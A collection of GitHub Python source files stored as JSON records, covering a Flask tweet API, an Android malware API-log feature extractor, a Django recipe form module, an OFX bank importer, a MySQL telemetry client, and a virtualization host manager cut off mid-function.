datetime.utcnow()\n self.updated_at = datetime.utcnow()\n if not kwargs:\n for key, value in kwargs.items():\n if key == 'created_at' or key == 'updated_at':\n value = datetime.strptime(value, \"%Y-%m-%dT%H:%M:%S.%f\")\n if key == '__class__':\n continue\n setattr(self, key, value)\n models.storage.new(self)\n\n def save(self):\n \"\"\"updates the public instance attribut\n update_at with the current datetime\"\"\"\n self.updated_at = datetime.utcnow()\n models.storage.save()\n\n def to_dict(self):\n \"\"\"Returns dictionary containing\n all keys/values of the instance:\"\"\"\n my_dict = self.__dict__.copy()\n my_dict['__class__'] = str(type(self).__name__)\n my_dict['created_at'] = self.created_at.isoformat()\n my_dict['updated_at'] = self.updated_at.isoformat()\n return my_dict\n\n def __str__(self):\n \"\"\"Return Representation of the\n Ojbect [] () \"\"\"\n c = self.__dict__.copy()\n return \"[{}] ({}) {}\".format(type(self).__name__, self.id, c)\n","repo_name":"Motaz-Mukhtar/AirBnB_clone","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74908907888","text":"#!/usr/bin/env python3\n\nfrom aunt import *\n\n\nATTRIBUTES = {\"children\": 3,\n\"cats\": 7,\n\"samoyeds\": 2,\n\"pomeranians\": 3,\n\"akitas\": 0,\n\"vizslas\": 0,\n\"goldfish\": 5,\n\"trees\": 3,\n\"cars\": 2,\n\"perfumes\": 1}\n\n\ndef is_viable(aunt):\n viable = True\n for a in ATTRIBUTES:\n if a in aunt.attributes and aunt.attributes[a] != ATTRIBUTES[a]:\n viable = False\n break\n return viable\n\n\nif __name__ == \"__main__\":\n with open(\"input.txt\") as f:\n data = f.readlines()\n\n aunts = [Aunt(line) for line in data]\n\n for aunt in aunts:\n if is_viable(aunt):\n print(aunt.number)\n","repo_name":"ericstubley/advent-of-code","sub_path":"2015/16/puzzle_2015_16a.py","file_name":"puzzle_2015_16a.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37909126664","text":"from app import app, mongo\nfrom flask import jsonify, request\n\n\n@app.route('/healthcheck')\ndef healthcheck():\n return jsonify(message=\"Healthy!\"), 200\n\n\n@app.route('/tweet', methods=['POST'])\ndef add_tweet():\n _json = request.json\n _name = _json['name']\n _tweet = _json['message']\n\n mongo.db.tweets.insert({'name': _name, 'tweet': _tweet})\n return jsonify('Tweet added successfully!')\n\n\n@app.route('/feed')\ndef feed():\n messages = mongo.db.tweets.find()\n output = []\n for message in messages:\n output.append({'name': message['name'], 'tweet': message['tweet']})\n return jsonify({'result': output})\n\n\n@app.errorhandler(404)\ndef not_found(error=None):\n return jsonify(message='Not Found: ' + request.url), 404\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"umedyohanan/consul-mongo-flask","sub_path":"tweeter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13319468222","text":"import os\nimport json\nfrom tools.api_parser import API_PARSER \nfrom tools.string_parser import STRING_PARSER\nfrom tools.pscout_parser import PSCOUT_PARSER\n\nLOGTAG_WORKFLOW = \"Droidmon-apimonitor-\"\nLOGTAG_CONCAT = \":{\"\nPACKAGE_START = len(LOGTAG_WORKFLOW)\n\n\nclass droidmonApi:\n def __init__(self, line):\n self.parse_line(line)\n\n def is_api(self):\n return self.isApi\n\n def get_package(self):\n return self.package\n\n def get_api_time(self):\n return self.hook_data.get('timestamp', '')\n\n def parse_line(self, line):\n line = line.strip()\n if not line.startswith(LOGTAG_WORKFLOW):\n self.isApi = False\n else:\n package_end = line.find(LOGTAG_CONCAT, PACKAGE_START)\n self.package = line[PACKAGE_START: package_end]\n hook_data_str = line[package_end + 1 : ]\n try:\n self.hook_data = json.loads(hook_data_str)\n self.parse_API()\n if 'type' in self.hook_data:\n self.isApi = True\n except Exception as e:\n self.isApi = False\n\n def parse_API(self):\n #permission + intent_action + command + content urls + api\n self.arg_strings = []\n self.extract_string_from_args(self.hook_data.get('args', []), self.arg_strings)\n self.args_info = STRING_PARSER.parse_strings(self.arg_strings)\n self.api = API_PARSER.parse_apis(self.to_parse_format())\n self.pscout = PSCOUT_PARSER.parse_apis(self.to_parse_format())\n \n def extract_string_from_args(self, args, result):\n if args is None:\n return\n if type(args) == list or type(args) == set:\n for item in args:\n self.extract_string_from_args(item, result)\n elif type(args) == dict:\n for k in args:\n self.extract_string_from_args(k, result)\n self.extract_string_from_args(args[k], result)\n else:\n result.append(str(args))\n\n\n def to_sample_format(self):\n self.sample_api = {\n 'type': self.hook_data.get('type', \"\"),\n 'class': self.hook_data.get('class', \"\"),\n 'method': self.hook_data.get('method', \"\"),\n 'timestamp': self.hook_data.get('timestamp', '')\n }\n return self.sample_api\n \n def to_parse_format(self):\n api_sign = self.hook_data.get('class', \"\") + \"->\" + self.hook_data.get('method', \"\")\n api_for_parse = {\n api_sign: {\n 'class_name': self.hook_data.get('class', \"\"),\n 'method': self.hook_data.get('method', \"\")\n }\n }\n return api_for_parse\n\n def to_save_format(self):\n return {\n #'ts': self.hook_data.get('timestamp', ''),\n #'pkg': self.package,\n #'api': self.api, # api\n 'args_info': self.args_info, #dict\n #'pscout': self.pscout # list of api_permissions\n }\n\n\n\nclass droidmonApiSet:\n def __init__(self, pkg):\n self.pkg = pkg\n self.api_set = dict() #dict\n self.args_info_set = dict() #dict\n self.pscout_set = set() #set\n\n\n def update_api(self, api):\n self.api_set.update(api.to_parse_format()) #dict.update merge key, value, if key same, value overwrite\n \n self.pscout_set.update(api.pscout) # set.update merge values\n\n for k in api.args_info:\n if k not in self.args_info_set:\n self.args_info_set[k] = set(api.args_info[k])\n else:\n self.args_info_set[k].update(api.args_info[k])\n\n def get_apis(self, result):\n tmp = dict()\n for k in self.args_info_set:\n tmp[k] = list(self.args_info_set[k])\n result['pkg'] = self.pkg\n result['apis'] = self.api_set\n result['pscout'] = list(self.pscout_set)\n result['args_info'] = tmp\n\ndef get_droidmon_apis(file_path, package, result):\n api_set = droidmonApiSet(package)\n with open(file_path, 'r', encoding='utf-8') as droidmon_log:\n for line in droidmon_log:\n api = droidmonApi(line)\n if not api.is_api() or api.get_package() != package:\n continue\n api_set.update_api(api)\n\n api_set.get_apis(result)\n\n\ndef get_droidmon_apis_flow(file_path, package, result):\n api_set = droidmonApiSet(package)\n last_time = -1\n with open(file_path, 'r', encoding='utf-8') as droidmon_log:\n for line in droidmon_log:\n api = droidmonApi(line)\n if not api.is_api() or api.get_package() != package:\n continue\n api_set.update_api(api)\n if last_time == -1:\n last_time = api.get_api_time()\n if api.get_api_time() - last_time > 1000:\n last_time = api.get_api_time()\n tmp = {}\n api_set.get_apis(tmp)\n result.append(tmp)\n\n tmp = {}\n api_set.get_apis(tmp) \n result.append(tmp)\n\ndef droidmon_analysis(file_path, package):\n out_file = os.path.join(os.path.dirname(file_path), \"droidmon_out.txt\")\n with open(file_path, 'r', encoding='utf-8') as droidmon_log, open(out_file, 'w') as droidmon_out:\n for line in droidmon_log:\n api = droidmonApi(line)\n if not api.is_api() or api.get_package() != package:\n continue\n droidmon_out.write(json.dumps(api.to_sample_format()) + '\\n')\n\n\nglobal type_2_num\ntype_2_num = None\ndef get_api_type_num(api_type):\n global type_2_num\n if type_2_num is None:\n type_2_num = {}\n if not api_type in type_2_num:\n type_2_num[api_type] = len(type_2_num)\n return type_2_num[api_type]\n\n\ndef genone_droidmon_train_data(file_path, out_file):\n last_num = -1\n type_len = 0\n with open(file_path, 'r', encoding='utf-8') as droidmon_log, open(out_file, 'w') as droidmon_train:\n for line in droidmon_log:\n line = line.strip()\n api = json.loads(line)\n cur_num = get_api_type_num(api['type'])\n if cur_num != last_num:\n droidmon_train.write(str(cur_num)+\"\\n\")\n last_num = cur_num\n type_len = type_len + 1\n return type_len\n\ndef gen_droidm_train(root, is_malware):\n cnt = 0\n api_lens = []\n for item in os.listdir(root):\n abs_path = os.path.join(root, item)\n if os.path.isdir(abs_path) and abs_path.endswith(\"_info\"):\n droidmon_out = os.path.join(abs_path, \"droidmon_out.txt\")\n if os.path.exists(droidmon_out):\n droidmon_train = os.path.join(abs_path, \"droidmon_train.txt\")\n api_lens.append(genone_droidmon_train_data(droidmon_out, droidmon_train))\n cnt = cnt + 1\n with open((\"maware\" if is_malware else \"benign\") + '_api_lens.txt', 'w') as f:\n json.dump(api_lens, f)\n with open(os.path.join(root, \"apilen.txt\"), 'w') as f:\n json.dump(api_lens, f)\n\n print(cnt)\nif __name__ == '__main__':\n #droidmon_analysis(\"./x_logcat.txt\", \"com.perfectlove\")\n benign_root = input(\"benign:\")\n malware_root = input(\"malware:\")\n #M:\\Android_Samples\\android_malware\\Android_benign\\360shoujizhushou\\2017-12-03--2017-12-05\n gen_droidm_train(benign_root, 0)\n #M:\\Android_Samples\\android_malware\\Android_malware\\drebin-data\\drebin-0\n gen_droidm_train(malware_root, 1)\n print(type_2_num)\n '''\n 2869 >30 2538\n 968 >30 739 \n {'reflection': 0, 'file': 1, 'system': 2, 'sql': 3, 'binder': 4, 'resource': 5, 'crypto': 6, 'globals': 7, 'network': 8, 'dex': 9, 'sms': 10, 'content': 11, 'runtime': 12}\n '''\n","repo_name":"sssz/android_malware_dynamic","sub_path":"NewMalwareClassify/dynamic/droidmon/droidmon_analysis.py","file_name":"droidmon_analysis.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"8933775523","text":"#!/usr/bin/env python\n\n# composer.py\n\nfrom framework import Framework\nfrom logger import *\nfrom sink import Sink\nfrom source import Source\nfrom translator import Translator\n\nclass Compose(Framework):\n\n def __init__(self):\n Framework.__init__(self)\n\n def run1(self):\n trace('start')\n source = Source()\n sink = Sink(source)\n sink.run()\n trace('end')\n\n def run2(self):\n trace('start')\n source = Source()\n translator = Translator(source)\n sink = Sink(translator)\n #exit()\n sink.run()\n trace('end')\n\nset_loglevel(SHOW)\nCompose().run2()\n","repo_name":"hdb3/BGPstream","sub_path":"composer.py","file_name":"composer.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13224118397","text":"from django import forms\r\nfrom django.forms import ModelForm\r\nfrom django.forms import inlineformset_factory\r\nfrom .models import Recipe, Ingredients, Instructions\r\nfrom django.forms.widgets import TextInput\r\nfrom django.utils.dateparse import parse_duration\r\n\r\nclass DurationInput(TextInput):\r\n\r\n def _format_value(self, value):\r\n duration = parse_duration(value)\r\n\r\n seconds = duration.seconds\r\n\r\n minutes = seconds // 60\r\n seconds = seconds % 60\r\n\r\n minutes = minutes % 60\r\n hours = minutes // 60\r\n hours = hours % 60\r\n\r\n return '{:02d}:{:02d}:{:02d}'.format(hours,minutes,seconds)\r\n\r\nclass RecipeForm(ModelForm):\r\n\r\n class Meta:\r\n model = Recipe\r\n exclude = ('author',)\r\n widgets = {\r\n 'time': DurationInput(attrs={'placeholder': 'HH:MM:SS'})\r\n }\r\n\r\n\r\nclass IngredientForm(ModelForm):\r\n class Meta:\r\n model = Ingredients\r\n fields = '__all__'\r\n\r\n\r\nclass InstructionForm(ModelForm):\r\n\r\n class Meta:\r\n model = Instructions\r\n fields = '__all__'\r\n widgets = {\r\n 'time': DurationInput(attrs={'placeholder': 'HH:MM:SS'})\r\n }\r\n \r\n\r\nIngredientFormSet = inlineformset_factory(Recipe, Ingredients, form=IngredientForm, extra=1)\r\nInstructionFormSet = inlineformset_factory(Recipe, Instructions, form=InstructionForm, extra=1)\r\n","repo_name":"LenaStruts/delicious-recipes","sub_path":"recipes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"15200743841","text":"import json\nimport logging\nimport os\nimport sqlite3\nimport sys\nfrom datetime import date\nfrom decimal import Decimal\nfrom typing import List\n\nimport ofxclient\nimport ofxparse\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nlogger.addHandler(logging.StreamHandler())\n\n\nINSTITUTION_CONFIG = {\n 'USAA': {\n 'id': '24591',\n 'org': 'USAA',\n 'ofx_url': 'https://service2.usaa.com/ofx/OFXServlet'\n }\n}\n\n\nclass Transaction:\n \"\"\"\n A Transaction object (not to be confused with an ofxclient.Transaction).\n \"\"\"\n def __init__(self, transaction: ofxparse.Transaction, account: ofxclient.Account) -> None:\n self.internal_id: str = f'{account.institution.org}.{account.number}.{transaction.id}'\n self.payee: str = transaction.payee\n self.type: str = transaction.type\n self.date: date = transaction.date # The sort key in dynamo.\n self.amount: Decimal = transaction.amount\n self.institution_id: str = account.institution.number # The partition key in dynamo.\n self.memo: str = transaction.memo\n self.sic: str = transaction.sic\n self.mcc: str = transaction.mcc\n self.checknum: str = transaction.checknum\n\n def to_tuple(self):\n return (\n self.internal_id,\n self.payee,\n self.type,\n self.date.strftime('%Y-%m-%d'),\n self.amount,\n self.institution_id,\n self.memo,\n self.sic,\n self.mcc,\n self.checknum\n )\n\n\ndef create_institution(institution_name: str, username: str, password: str) -> ofxclient.Institution:\n if institution_name not in INSTITUTION_CONFIG.keys():\n raise ValueError(f'{institution_name} not found in INSTITUTION_CONFIG')\n\n institution_config = INSTITUTION_CONFIG[institution_name]\n\n return ofxclient.Institution(\n id=institution_config['id'],\n org=institution_config['org'],\n url=institution_config['ofx_url'],\n username=username,\n password=password\n )\n\n\ndef main() -> None:\n logger.info('In main')\n\n # Get configuration file.\n config_file_path = sys.argv[1]\n if not os.path.exists(config_file_path):\n logger.error('{config_file_path} does not exist')\n exit(1)\n\n root, extension = os.path.splitext(config_file_path)\n if extension.lower() != '.json':\n logger.error('{config_file_path} must be have a .json extension. For example, /path/to/my_config.json')\n\n config = {}\n with open(config_file_path) as config_file:\n config = json.load(config_file)\n\n # Get number of days of transactions to retrieve.\n institution_name = config['institution_name'] \n member_id = config['member_id']\n password = config['password'] \n num_of_transaction_days = config['number_of_transaction_days']\n sqlite_db_file_path = config['sqlite_db_file_path']\n\n institution = create_institution(\n institution_name=institution_name,\n username=member_id,\n password=password\n )\n\n # Get accounts, get transactions for those accounts, and save the transactions to the SQLite database.\n logger.info(F'Calling {institution.org} OFX API endpoint')\n accounts: List[ofxclient.account] = institution.accounts()\n\n logger.info(f'Retrieved {len(accounts)} accounts')\n\n if len(accounts) == 0:\n exit(0)\n\n # Create the database connection and cursor if there are accounts to iterate through, so we're not instantiating\n # them for each account.\n db_connection = sqlite3.connect(sqlite_db_file_path)\n cursor = db_connection.cursor()\n for account in accounts:\n transactions = account.transactions(days=int(num_of_transaction_days))\n logger.info(f'Retrieved {len(transactions)} transactions for account {account.number}')\n\n for transaction in transactions:\n cursor.execute('SELECT count(*) FROM transactions WHERE internal_id = ?', (transaction.internal_id,))\n \n # If a record with the internal_id already exists, UPDATE it. Otherwise, INSERT a new record.\n row = cursor.fetchone()\n if row[0] == 0:\n cursor.execute(\n 'INSERT INTO transactions (internal_id, payee, type, date, amount, institution_id, memo, sic, mcc, checknum) '\n 'VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',\n transaction.to_tuple()\n )\n else:\n cursor.execute(\n 'UPDATE transactions '\n ' SET payee = ?, type = ?, date =?, amount = ?, institution_id = ?, memo = ?, sic = ?, mcc = ?, checknum = ? '\n ' WHERE internal_id = ?',\n (transaction.payee, transaction.type, transaction.date, transaction.amount, transaction.institution_id, transaction.memo, transaction.sic, transaction.mcc, transaction.checknum, transaction.internal_id, )\n )\n\n logger.info(f'Finished saving transactions for account {account.number}')\n\n exit(0)\n\n\n# Beginning of script\nif __name__ == '__main__':\n main()\n","repo_name":"jones-chris/personal-budget","sub_path":"backend/ofx_import.py","file_name":"ofx_import.py","file_ext":"py","file_size_in_byte":5130,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"74276710768","text":"\nclass Amit:\n\n\n # this is a init/special function\n def __init__(self,fname,lname):\n\n self.fname = fname\n self.lname = lname\n\n\n def full_name(self):\n\n return self.fname + self.lname\n\n\nobj1 = Amit(\"Narendra\",\"Modi\") # called init()\n\nobj2 = Amit(\"Amit\",\"shah\") # called init()\n\nobj1.fname\n\nobj1.lname\n\nobj1.full_name()\n\nobj2.fname\n\nobj2.lname\n\nobj2.full_name()\n\n","repo_name":"amitsaxena9225/Analytics_Event","sub_path":"class_object_parameterized.py","file_name":"class_object_parameterized.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7649109624","text":"import mysql.connector\nfrom datetime import datetime\nfrom enum import Enum\nimport logging\nimport sys\nimport json\nimport yaml\n\n\nclass CounterType(Enum):\n PUSH_COUNT=1\n PULL_COUNT=2\n EMPTY_COUNT=3\n\n#logger\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n\n#read yml configurations\nwith open ('./config/config.yml') as f:\n cfg = yaml.load(f, Loader=yaml.FullLoader)\n dbUser = cfg['mysql']['user']\n dbPassword = cfg['mysql']['password']\n dbHost = cfg['mysql']['host']\n\n\n#Table details\ndatabaseName = \"amazon-sqs\"\nPUSH_COLUMN_INDEX = 1\nPULL_COLUMN_INDEX = 2\nEMPTY_COLUMN_INDEX = 3\nROW_ID = 0 #the telemetries table contains a single row, its ID is 0\n\n#queries used\nselectQuery = (\"select * from telemetries where id = %s\")\ninsertQuery = (\"insert into telemetries (id, push_count, pull_count, empty_count, LUT) VALUES (%s,%s,%s,%s,%s)\") \nupdatePushCountQuery = (\"update telemetries SET push_count = push_count+1, LUT=%s where id = 0\") \nupdatePullCountQuery = (\"update telemetries SET pull_count = pull_count+1, LUT=%s where id = 0\") \nupdateEmptyCountQuery = (\"update telemetries SET empty_count = empty_count+1, LUT=%s where id = 0\")\nnullifyCountersQuery = (\"update telemetries SET push_count = 0, pull_count = 0, empty_count = 0, LUT=%s where id = 0\") \n\n#Create database conenction\ndef createDbConnection():\n logger.debug(f\"Connecting to database {databaseName} on host {dbHost}\")\n db = mysql.connector.connect(\n host=dbHost, \n user=dbUser, \n password=dbPassword, \n database=databaseName,\n auth_plugin='mysql_native_password'\n \n )\n logger.debug(\"connection established\")\n\n return db\n\n#check if the table is empty, if so, init it with 0's\n# (should happen once in entire lifecycle of project)\ndef initDbIfNeeded():\n db = createDbConnection()\n #create a cursor object\n cur = db.cursor()\n \n try: \n #Reading the table data \n #cur.execute(\"select * from telemetries where id = %s\", (ROW_ID,))\n cur.execute(selectQuery, (ROW_ID,)) \n \n #fetching the rows from the cursor object \n result = cur.fetchall() \n #printing the result \n\n if len(result) == 0:\n logger.info(\"Telemetries table is empty. Inserting a row into it\")\n cur.execute(insertQuery, (ROW_ID, 0,0,0,datetime.now())) \n db.commit()\n logger.info(f\"{cur.rowcount} record(s) affected\")\n else:\n logger.info(\"Telemetris table is ok\")\n \n except Exception as e: \n db.rollback() \n logger.error(e)\n \n db.close() \n\n\n\n#Increment a counter of counterType (push, pull, empty_queue)\n#(As this method can be run concurrently, potentially we could have used a lock here,\n#But since we use a single update query, and the incremenetaion is done solely in database, no concurrency\n#issues are expected...)\ndef incrementCounter(counterType):\n if counterType == CounterType.PUSH_COUNT:\n query = updatePushCountQuery\n elif counterType== CounterType.PULL_COUNT:\n query = updatePullCountQuery\n else:\n query = updateEmptyCountQuery\n \n db = createDbConnection()\n cur = db.cursor()\n \n try: \n \n logger.debug(f\"Will update counter type {counterType} with increased country and {datetime.now()}. Query is : {query}\")\n\n #as we use a single SQL query here and it's atomic, no need to place locks (e.g. by SELECT ... FOR UPDATE)\n cur.execute(query, (datetime.now(),)) \n db.commit()\n\n logger.info(f\"{cur.rowcount} record(s) affected\")\n\n except Exception as e: \n db.rollback() \n logger.error(e)\n\n finally:\n db.close() \n\n\n#Increment push counter\ndef incrementPushCount():\n incrementCounter(CounterType.PUSH_COUNT)\n\n#Increment pull counter\ndef incrementPullCount():\n incrementCounter(CounterType.PULL_COUNT)\n\n#Increment empty counter\ndef incrementEmptyCount():\n incrementCounter(CounterType.EMPTY_COUNT)\n\n\n#get the current telemetries\ndef getTelemetries():\n\n db = createDbConnection()\n #create a cursor object\n cur = db.cursor()\n \n try: \n #Reading the table data \n cur.execute(selectQuery, (ROW_ID,)) \n \n #fetching the rows from the cursor object \n result = cur.fetchall() \n\n if len(result) != 1:\n logger.exception(\"Got more than one result while querying telemetries table\")\n return\n \n resultRow = result[0]\n\n pushCount = resultRow[PUSH_COLUMN_INDEX]\n pullCount = resultRow[PULL_COLUMN_INDEX]\n emptyCount = resultRow[EMPTY_COLUMN_INDEX]\n\n #now build the json\n resultDict = {\n \"push\" : pushCount,\n \"pull\" : pullCount,\n \"empty_queue\" : emptyCount\n }\n\n jsonString = json.dumps(resultDict)\n \n\n except Exception as e: \n db.rollback() \n print(e)\n \n db.close() \n return jsonString\n\n\n###########################\n#Nullify all elements in the table (for TESTING purposes)\ndef nullifyTelemetries():\n\n db = createDbConnection()\n #create a cursor object\n cur = db.cursor()\n \n try: \n\n logger.debug(f\"Nullifying all counters with date = {datetime.now()}. Query is : {nullifyCountersQuery}\")\n\n cur.execute(nullifyCountersQuery, (datetime.now(),)) \n db.commit()\n\n logger.info(f\"{cur.rowcount} record(s) affected\")\n\n except Exception as e: \n db.rollback() \n logger.error(e)\n \n db.close() \n\n##############################\n\n\n\n#nullifyTelemetries()\n#incrementPullCount()\n#incrementPushCount()\n#incrementEmptyCount()\n#print(getTelemetries())\n\n","repo_name":"idanschneider/flask-sqs-queue","sub_path":"mysql_client.py","file_name":"mysql_client.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33049571640","text":"import xmlrpclib\nimport logging\nimport re\nimport random\nimport sub_process\nfrom datetime import datetime, timedelta\nfrom libvirt import libvirtError\nfrom itertools import ifilter\n\nfrom model import *\nfrom virt import *\nfrom constants import *\n\ndef getCobbler():\n return xmlrpclib.Server(COBBLER_API)\n \ndef getCobblerToken():\n return getCobbler().login(COBBLER_USER, COBBLER_PASS)\n \ndef send_ssh(self, command, **kwargs):\n ssh_args = ['/usr/bin/ssh',\n 'root@%s' % self.hostname]\n for arg in command:\n ssh_args.append(arg)\n return sub_process.call(ssh_args, **kwargs)\n\ndef find_fogmachine_profiles(profile_list):\n \"\"\"\n Given a list of Cobbler profiles, finds profiles which contain a key\n in their ks_meta field which match the string 'fogmachine' (indicating\n that the supplied profile is, in fact, a profile which should be exposed to\n Fogmachine\n \"\"\"\n return ifilter(lambda elem: 'fogmachine' in elem['ks_meta'].keys(),\n profile_list)\n\ndef getVirt(host):\n \"\"\"\n Convenience function:\n Returns a Virt object corresponding to the Host object passed in\n (the heavy lifting goes on in Virt, so this makes life a little easier)\n \"\"\"\n virt = Virt(host.connection, host.hostname)\n return virt\n\ndef _read_config(file_loc):\n \"\"\"\n Opens config file, strips comments, returns list of hosts specified\n \"\"\"\n cfg_file = open(file_loc, 'r')\n cfg_lines = cfg_file.readlines()\n entries = []\n for line in cfg_lines:\n # strip comments/surrounding whitespace\n line = re.sub(\"#.*\",\"\",line).strip()\n # check if line matches comma-separated entry pattern\n if(re.match(\".*,.*,.*\",line)):\n entry = line.split(',')\n entries.append([\n unicode(entry[0].strip()),\n unicode(entry[1].strip()),\n unicode(entry[2].strip())])\n cfg_file.close()\n return entries\n \ndef add_hosts(file_loc):\n \"\"\"\n Adds hosts contained within specified Fogmachine hosts config file\n \"\"\"\n all_hosts = _read_config(file_loc)\n # clean out hosts no longer present\n for host in Host.query.all():\n if not [host.hostname, host.connection, host.virt_type] in all_hosts:\n session.delete(host)\n # add new hosts (if any)\n for host in _read_config(file_loc):\n if not Host.get_by(hostname=host[0]):\n newhost = Host(hostname=host[0],\n connection=host[1],\n virt_type=host[2])\n session.flush()\n \ndef get_cobbler_targets_for_template(group_template):\n \"\"\"\n Returns the names of the cobbler profiles contained within a GroupTemplate\n object\n \"\"\"\n cobbler_profiles = []\n cobbler_images = []\n for stratum in group_template.strata:\n cobbler_profiles.extend(\n ifilter(lambda elem: elem.cobbler_type=='profile',\n stratum.elements)\n )\n cobbler_images.extend(\n ifilter(lambda elem: elem.cobbler_type=='image',\n stratum.elements)\n )\n return cobbler_profiles, cobbler_images\n \ndef get_available_ram(host):\n \"\"\"\n Gets the amount of RAM available for provisioning new guests on the\n supplied host, equivalent to free memory - memory required for all managed\n guests\n \"\"\"\n stopped_guests = Guest.query.filter(Guest.host == host \n and Guest.state != u\"running\").all()\n stopped_guest_ram = sum([guest.ram_required for guest in stopped_guests])\n return host.free_mem - stopped_guest_ram\n \ndef get_available_cpus(host):\n \"\"\"\n Gets the amount of Virtual CPUs available for provisioning new guests on the\n supplied host, equivalent to free CPUs - CPUs required for all managed guests\n \"\"\"\n stopped_guests = Guest.query.filter(Guest.host == host \n and Guest.state != u\"running\").all()\n stopped_guest_cpus = sum([guest.cpus_required for guest in stopped_guests])\n return host.free_cpus - stopped_guest_cpus\n \ndef get_random_mac():\n \"\"\"\n from xend/server/netif.py\n Generate a random MAC address.\n Uses OUI 00-16-3E, allocated to\n Xensource, Inc. Last 3 fields are random.\n return: MAC address string\n \"\"\"\n mac = [ 0x00, 0x16, 0x3e,\n random.randint(0x00, 0x7f),\n random.randint(0x00, 0xff),\n random.randint(0x00, 0xff) ]\n return ':'.join(map(lambda x: \"%02x\" % x, mac))\n \ndef reprovision_machine(hostname, cobbler_profile):\n \"\"\"\n Reprovisions the supplied machine with the supplied Cobbler\n target object\n \"\"\"\n reprov_command = ['/usr/bin/koan',\n '--server=%s' % COBBLER_HOST,\n '--replace-self',\n '--profile=%s' % cobbler_profile]\n rc = send_ssh(hostname, command)\n if rc != 0:\n raise Exception(\"koan returned %d\" % rc)\n reboot_command = ['/usr/bin/reboot']\n send_ssh(hostname, reboot_command)\n return True\n \ndef create_guest(target_obj, virt_name, expire_date, purpose, owner, \n system=False, image=False):\n \"\"\"\n Creates a guest using the install() function from Virt then creates a database\n entry for the new guest, returning this entry for your pleasure\n \"\"\"\n host = find_suitable_host(target_obj, system)\n \n if host is None:\n return None\n \n virt = getVirt(host)\n cobbler = getCobbler()\n \n if image:\n cobbler_type = 'image'\n ram_required = target_obj['virt_ram']\n cpus_required = target_obj['virt_cpus']\n virt.install(COBBLER_HOST, target_obj['name'], virt_name=virt_name, image=True)\n if system:\n cobbler_type = 'system'\n ram_required = cobbler.get_profile(target_obj['profile'])['virt_ram']\n cpus_required = cobbler.get_profile(target_obj['profile'])['virt_cpus']\n virt.install(COBBLER_HOST, target_obj['name'], virt_name=virt_name, system=True)\n else:\n cobbler_type = 'profile'\n ram_required = target_obj['virt_ram']\n cpus_required = target_obj['virt_cpus']\n virt.install(COBBLER_HOST, target_obj['name'], virt_name=virt_name)\n newguest = Guest(virt_name=virt_name,\n ram_required=int(ram_required),\n cpus_required=int(cpus_required),\n cobbler_target=unicode(target_obj['name']),\n cobbler_type=cobbler_type,\n expire_date=expire_date,\n purpose=purpose,\n host=host,\n owner=owner,\n mac_address=virt.get_mac_address(virt_name))\n session.flush()\n return newguest\n\ndef extend_guest_reservation(guest, days):\n \"\"\"\n Extends the expiration date for the supplied guest by the supplied \n number of days\n \"\"\"\n guest.expire_date = guest.expire_date + timedelta(days=days)\n session.flush()\n \ndef extend_machine_reservation(machine, days):\n \"\"\"\n Extends the expiration date for the supplied machine by the supplied \n number of days\n \"\"\"\n machine.expire_date = machine.expire_date + timedelta(days=days)\n session.flush()\n\ndef find_suitable_host(target, system=False):\n \"\"\"\n Given a Cobbler profile hash (taken from Cobbler's XMLRPC output),\n figures out what Host to provision the guest onto and returns this\n object\n \"\"\"\n if system:\n # inherit information from system's associated Cobbler profile\n target = pt.getCobbler().get_profile(target['profile'])\n mem_needed = target['virt_ram']\n cpus_needed = target['virt_cpus']\n virt_type = unicode(target['virt_type'])\n \n hosts = Host.query.filter_by(virt_type=virt_type)\n hosts = hosts.filter(Host.free_mem >= mem_needed)\n hosts = hosts.filter(Host.free_cpus >= cpus_needed).all()\n \n if len(hosts) is 0:\n return None\n return hosts[len(hosts) - 1]\n \ndef hosts_can_provision_group(group_template):\n \"\"\"\n Given a GroupTemplate object and a Cobbler object, determines whether\n a group can be provisioned within the confines of the resources \n available from your current virtual hosts\n \"\"\"\n cobbler_profiles, cobbler_images = get_cobbler_targets_for_template(\n group_template)\n \n # see if we have enough RAM\n ram_required = [getCobbler().get_profile(profile)['virt_ram']\n for profile in cobbler_profiles]\n ram_required.extend([getCobbler().get_image(image)['virt_ram']\n for image in cobbler_images])\n ram_required.sort(reverse=True)\n \n ram_on_each_host = [get_available_ram(host)\n for host in Host.query.all()]\n ram_on_each_host.sort(reverse=True)\n \n for single_req in ram_required:\n space_allocated = False\n for i in xrange(0,len(ram_on_each_host)):\n if ram_on_each_host[i] >= single_req:\n ram_on_each_host[i] -= single_req\n space_allocated = True\n break\n if not space_allocated:\n return False\n \n return True\n\ndef update_free_mem():\n \"\"\"\n Periodic task (run by taskomatic):\n Updates available memory for all Host objects via libvirt\n \"\"\"\n for host in Host.query.all():\n virt = getVirt(host)\n host.free_mem = virt.freemem()\n host.num_guests = virt.get_number_of_guests()\n host.free_cpus = virt.freecpus()\n session.flush()\n \ndef update_guest_states():\n \"\"\"\n Updates state (running status, vnc ports) for all Guest objects\n \"\"\"\n for guest in Guest.query.all():\n 